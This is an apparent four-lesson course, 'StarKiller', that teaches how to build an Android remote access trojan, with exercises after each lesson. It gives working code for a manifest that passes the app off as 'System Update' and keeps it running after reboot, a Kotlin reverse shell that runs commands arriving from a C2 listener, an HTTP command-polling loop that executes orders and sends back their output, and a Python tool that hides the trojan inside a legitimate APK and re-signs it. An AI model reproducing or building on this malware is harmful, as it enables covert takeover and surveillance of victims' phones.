XML — ANDROID MANIFEST
// LESSON 01 / 04 — ANDROID MANIFEST

Declaring Your Presence — The Permission Gate

The AndroidManifest.xml is the app's declaration of intent. Every capability the app uses must be listed here or Android denies it at runtime. Get the permissions wrong and the RAT either crashes on first connection or dies when the screen locks.

// FIELD ANALOGY
Before deploying an asset into a country, you file the cover story with the agency — passport, occupation, declared capabilities. The host nation (Android OS) checks the manifest at install time. INTERNET = declared cover. FOREGROUND_SERVICE = permission to operate after dark. RECEIVE_BOOT_COMPLETED = permission to activate on base re-open. The service element is the asset. BootReceiver is the activation signal.

// NOMENCLATURE — ANDROID MANIFEST + XML

xmlns:androidXML namespace declaration. Required on the root element. Binds the android: prefix to the Android namespace URI. Without it, all android:name etc. attributes are unresolved.
packageThe application's unique identifier on the device. Reverse-domain format by convention. com.system.update disguises as a system process — identical naming to a real OEM update agent.
uses-permissionDeclares a required Android permission. INTERNET is "normal" — granted automatically at install, no user prompt. FOREGROUND_SERVICE is "normal" since Android 9. RECEIVE_BOOT_COMPLETED allows registering for the boot broadcast.
<service>Declares a background Service component. android:exported="false" prevents other apps from binding to it. foregroundServiceType="dataSync" required on Android 14+ — declares what the service does.
<receiver>Declares a BroadcastReceiver. android:exported="true" required for receivers that listen to system broadcasts. The intent-filter tells Android which broadcasts to deliver to this receiver.
BOOT_COMPLETEDSystem broadcast fired after Android finishes booting. BootReceiver catches it and starts C2Service. Persistence mechanism: RAT auto-activates on every reboot without any user interaction.
// REFERENCE — annotated
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
    package="com.system.update">  <!-- disguise as OEM update process -->

    <uses-permission android:name="android.permission.INTERNET"/>  <!-- auto-granted: C2 comms -->
    <uses-permission android:name="android.permission.FOREGROUND_SERVICE"/>  <!-- survive backgrounding -->
    <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"/>  <!-- reboot persistence -->

    <application
        android:label="System Update"  <!-- visible name in app list -->
        android:icon="@mipmap/ic_launcher">

        <service
            android:name=".C2Service"
            android:exported="false"  <!-- private: only this app can start it -->
            android:foregroundServiceType="dataSync"/>  <!-- Android 14+ required type -->

        <receiver
            android:name=".BootReceiver"
            android:exported="true">  <!-- must be true to receive system broadcasts -->
            <intent-filter>
                <action android:name="android.intent.action.BOOT_COMPLETED"/>
            </intent-filter>
        </receiver>

    </application>
</manifest>
// YOUR MISSION

Write the full AndroidManifest.xml. package="com.system.update", three permissions (INTERNET, FOREGROUND_SERVICE, RECEIVE_BOOT_COMPLETED), application with C2Service (exported=false, foregroundServiceType=dataSync) and BootReceiver with BOOT_COMPLETED intent filter.

// WHY THIS WORKS

com.system.update as the package name is a social engineering choice — it matches the naming convention of OEM system update agents, making it invisible to a non-technical user scanning their app list. Combined with "System Update" as the label and the generic ic_launcher icon, it's visually indistinguishable from a real system package.

KOTLIN — ANDROID JVM
// LESSON 02 / 04 — KOTLIN TCP REVERSE SHELL

Same Radio Net, Different Radio — TCP Shell on Android

The same principle as the PowerShell TCP shell: connect out, read commands from the stream, execute them, write output back. Kotlin's Socket is a wrapper around the same BSD socket API. The execution environment changes — Android runs shell commands via Runtime.getRuntime().exec().

// FIELD ANALOGY
You've been inserted into a forward operating base and you have a radio. You call back to command, report your status, then sit on the net waiting for instructions. Each instruction comes in, you execute it, you report the result. The socket IS the radio net. Runtime.exec is issuing the order to your ground team. Reader/writer are the transmit and receive channels. The while(true) loop is you staying on net until command says disconnect.

// NOMENCLATURE — KOTLIN SOCKETS + THREADING

Thread { }.start()Creates and immediately starts a background OS thread. The lambda inside is the thread body. All network I/O must run off the main thread — Android kills apps that block the UI thread for 5+ seconds (ANR: Application Not Responding).
java.net.Socket(ip, port)Connects to a remote TCP server. On Android you use the full java.net package — Kotlin doesn't have its own socket library. This is the client side: it initiates the outbound connection to your listener.
bufferedReader()Wraps an InputStream in a BufferedReader for line-by-line reading. readLine() blocks until a complete line arrives or the stream closes. The ?: break handles the null-on-close case.
Runtime.getRuntime().exec()Forks a child process. arrayOf("sh", "-c", cmd) passes the command to the shell interpreter, enabling pipes, redirects, and shell builtins. Without sh -c, you'd need to split the command manually.
proc.inputStreamThe child process's stdout. Similarly errorStream is its stderr. Android commands often write to stderr — you need both to get complete output, equivalent to 2>&1 in shell.
.ifEmpty { "(no output)\n" }Returns the fallback string if the receiver is empty. Prevents sending an empty packet back to the operator when a command produces no output — maintains the framing protocol.
// REFERENCE — annotated
fun connectShell(ip: String, port: Int) {
    Thread {                                           // background thread — must not block main
        try {
            val socket = java.net.Socket(ip, port)    // outbound TCP connect to C2 listener
            val reader = socket.getInputStream().bufferedReader()   // read commands line by line
            val writer = socket.getOutputStream().bufferedWriter()  // write output back
            writer.write("OK\n"); writer.flush()      // beacon: "I'm here, ready"
            while (true) {
                val cmd = reader.readLine() ?: break  // null = stream closed, exit loop
                val proc = Runtime.getRuntime().exec(arrayOf("sh", "-c", cmd))  // sh -c: full shell
                val output = proc.inputStream.bufferedReader().readText()       // stdout
                val err = proc.errorStream.bufferedReader().readText()          // stderr (many cmds use it)
                writer.write((output + err).ifEmpty { "(no output)\n" })        // merge, send
                writer.write("\n"); writer.flush()    // frame delimiter
            }
            socket.close()
        } catch (e: Exception) {
            android.util.Log.e("C2", e.message ?: "error")  // silent crash log only
        }
    }.start()
}
// YOUR MISSION

Write connectShell(). Thread wrapper, Socket connect, bufferedReader/Writer, "OK\n" beacon, while loop reading commands, Runtime.exec with sh -c, merge stdout+stderr, write back with flush, null-break on closed stream.

// WHY THIS WORKS

arrayOf("sh", "-c", cmd) delegates to the shell interpreter. Without it, exec() treats the first element as the binary name and subsequent elements as literal argv — pipes and redirects don't work. Android uses Toybox/Busybox for its shell, so sh -c enables standard shell semantics even on minimal environments.

KOTLIN — HTTP CLIENT
// LESSON 03 / 04 — HTTP C2 POLL LOOP

Dead Drop — Polling for Orders Instead of Staying on the Line

Carrier networks aggressively kill idle TCP connections after minutes. The HTTP poll loop is the counter: instead of a persistent connection, the RAT wakes every 5 seconds, checks the dead drop (GET /cmd), executes whatever it finds, posts the result (POST /result), and goes back to sleep.

// FIELD ANALOGY
A dead drop at a fixed location. The RAT visits every 5 seconds, checks for a note (GET /cmd?id=...). If there's a note, it executes the order and leaves the result at a second location (POST /result). No persistent connection to detect and kill. WAIT is the empty dead drop — "no orders, stand by." The device ID routes orders to the right asset. Connection timeout prevents indefinite hang on a dead server.

// NOMENCLATURE — HTTP + POLL PATTERN

HttpURLConnectionAndroid's built-in HTTP client from the java.net package. Requires INTERNET permission. Opened via url.openConnection() as java.net.HttpURLConnection — the cast is required because openConnection() returns URLConnection.
connectTimeoutMilliseconds before the connection attempt gives up. Without this, a dead C2 server hangs the thread indefinitely. 5000ms = 5 seconds max wait. Always set this on any network call in a loop.
conn.disconnect()Explicitly closes the connection and releases the underlying socket. Without this, connections may be kept open by the connection pool, leaking sockets over time.
cmd != "WAIT"The sentinel protocol. Server returns "WAIT" when no command is queued. Distinguishes "no orders" from "server error". Empty string means network/parse error; "WAIT" means connected and idle. Avoids executing an empty string as a shell command.
pc.doOutput = trueEnables writing a request body for POST. Must be set before writing to pc.outputStream. Without it, writing to outputStream throws an exception.
Thread.sleep(5000)Pauses the current thread for 5000ms. Runs at the end of each poll cycle regardless of success or failure — even a failed request should back off before retrying. Static delay is simpler than exponential backoff for a RAT.
empty catch blockcatch (e: Exception) { } — swallows all exceptions silently. Network errors, server down, connection refused — none of these should crash the RAT. Sleep then retry is the entire error handling strategy.
// REFERENCE — annotated
fun pollC2(c2Url: String, deviceId: String) {
    Thread {
        while (true) {
            try {
                val url = java.net.URL("$c2Url/cmd?id=$deviceId")  // dead drop URL with device routing
                val conn = url.openConnection() as java.net.HttpURLConnection
                conn.requestMethod = "GET"
                conn.connectTimeout = 5000                           // 5s max wait — dead server won't hang us
                val cmd = conn.inputStream.bufferedReader().readText().trim()
                conn.disconnect()                                    // release socket explicitly
                if (cmd.isNotEmpty() && cmd != "WAIT") {             // WAIT = no orders; empty = error
                    val proc = Runtime.getRuntime().exec(arrayOf("sh","-c",cmd))
                    val out = proc.inputStream.bufferedReader().readText()
                    val post = java.net.URL("$c2Url/result?id=$deviceId")
                    val pc = post.openConnection() as java.net.HttpURLConnection
                    pc.requestMethod = "POST"
                    pc.doOutput = true                               // enable request body for POST
                    pc.outputStream.write(out.toByteArray())
                    pc.disconnect()
                }
            } catch (e: Exception) { }                             // swallow all errors — sleep and retry
            Thread.sleep(5000)                                     // 5s poll interval regardless of outcome
        }
    }.start()
}
// YOUR MISSION

Write pollC2(). Thread wrapper, infinite loop, GET from /cmd?id=..., 5000ms timeout, disconnect, check cmd not empty and not WAIT, exec with sh -c, POST output to /result?id=..., empty catch, sleep 5000 at end.

// WHY THIS WORKS

HTTP is resilient because it has no connection state to maintain. Every request is independent — carrier NAT timeouts, VPN reconnects, and cell handoffs are all invisible to the polling loop. The RAT just misses a beat and resumes on the next 5-second tick. A persistent TCP shell would need reconnect logic. The poll loop has no connection to lose.

PYTHON 3 — TOOLING
// LESSON 04 / 04 — APK BINDER

Trojanizing — Your Code Inside Their App

Decompile a legitimate APK, inject the RAT's smali classes, merge the permissions, recompile, re-sign. The output APK looks and behaves exactly like the original. The RAT runs silently in the same process.

// FIELD ANALOGY
You capture the enemy's supply package, add your intelligence sensor to it, reseal it, and send it on. The recipient gets the package they expected — food and fuel working normally. Your sensor activates in the background. apktool d = open the package. shutil.copytree smali = insert the sensor. inject_manifest_permissions = update the cargo manifest. apktool b = reseal. apksigner sign = slap the official stamp back on. Target receives the legitimate app, gets the RAT too.

// NOMENCLATURE — APK STRUCTURE + TOOLS

apktool dDecompile APK to smali (Android assembly) and resources. --no-res skips resource decompilation — resources aren't needed and recompiling them causes errors. -f force-overwrites if output dir exists.
smaliAndroid's assembly language. Dalvik/ART bytecode represented as text. Each class becomes a .smali file. com/system/update/C2Service.smali is your RAT service — copying this file makes the compiled APK include your class.
shutil.copytreeRecursively copies a directory tree. Copies all of the RAT's smali classes into the legitimate app's source tree. After this, apktool b compiles both the original and your injected classes together.
xml.etree.ElementTreePython's stdlib XML parser. ET.parse() parses XML to a tree. .getroot().findall('uses-permission') finds all permission elements. t_root.insert(0, perm) injects them at the top of the target manifest.
apktool bRecompile smali back to APK. --use-aapt2 uses the modern asset packager — required for apps targeting Android 10+. Output is unsigned.
apksigner signSigns the APK with a keystore. Android requires a valid signature to install — the OS won't install unsigned APKs. The debug keystore ships with the Android SDK. Any valid signature works; only Play Store checks for the original developer key.
check=Truesubprocess.run parameter: raises CalledProcessError if the command exits non-zero. Without it, apktool failures are silently ignored and you'd produce a corrupt APK with no error.
// REFERENCE — annotated
import subprocess, shutil, os

def bind_apk(legit_apk, payload_apk, output_apk):
    subprocess.run(["apktool", "d", legit_apk, "-o", "legit_src",
                    "--no-res", "-f"], check=True)   # decompile legit app (skip resources)
    subprocess.run(["apktool", "d", payload_apk, "-o", "payload_src",
                    "--no-res", "-f"], check=True)   # decompile RAT APK
    smali_src = "payload_src/smali/com/system/update"  # RAT's smali directory
    smali_dst = "legit_src/smali/com/system/update"    # inject into legit source tree
    shutil.copytree(smali_src, smali_dst)              # copy entire class tree
    inject_manifest_permissions(
        "legit_src/AndroidManifest.xml",               # add RAT permissions to legit manifest
        "payload_src/AndroidManifest.xml"
    )
    subprocess.run(["apktool", "b", "legit_src", "-o", "bound_unsigned.apk",
                    "--use-aapt2"], check=True)        # recompile: original + injected classes
    subprocess.run(["apksigner", "sign",
                    "--ks", "debug.keystore",
                    "--ks-pass", "pass:android",
                    "--out", output_apk,
                    "bound_unsigned.apk"], check=True) # sign — any valid keystore works
    print(f"[+] Bound APK: {output_apk}")

def inject_manifest_permissions(target_manifest, payload_manifest):
    from xml.etree import ElementTree as ET
    target = ET.parse(target_manifest)
    payload = ET.parse(payload_manifest)
    t_root = target.getroot()
    for perm in payload.getroot().findall('uses-permission'):  # copy each permission element
        t_root.insert(0, perm)                                  # insert at top of manifest
    target.write(target_manifest, xml_declaration=True, encoding='utf-8')
// YOUR MISSION

Write bind_apk() (apktool d both APKs, copytree smali, inject_manifest_permissions, apktool b, apksigner sign, print output) and inject_manifest_permissions() (parse both XMLs, copy uses-permission elements into target, write back).

// WHY THIS WORKS

Google Play Protect detects re-signed known APKs via certificate pinning on popular apps. The binder targets sideloaded delivery — the user installs via APK file, not Play Store. Without the application class hook (modifying the legit app's Application.onCreate to start C2Service), the injected code never runs — the smali classes are compiled in but nothing calls them. The full StarKiller binder patches the Application class to call service start from onCreate.

// STARKILLER — COMPLETE

Android manifest. Kotlin TCP shell. HTTP C2 poll loop. APK binder.
Android RAT from declaration to delivery.

← Back to Catalog  |  Next: VADER Agent →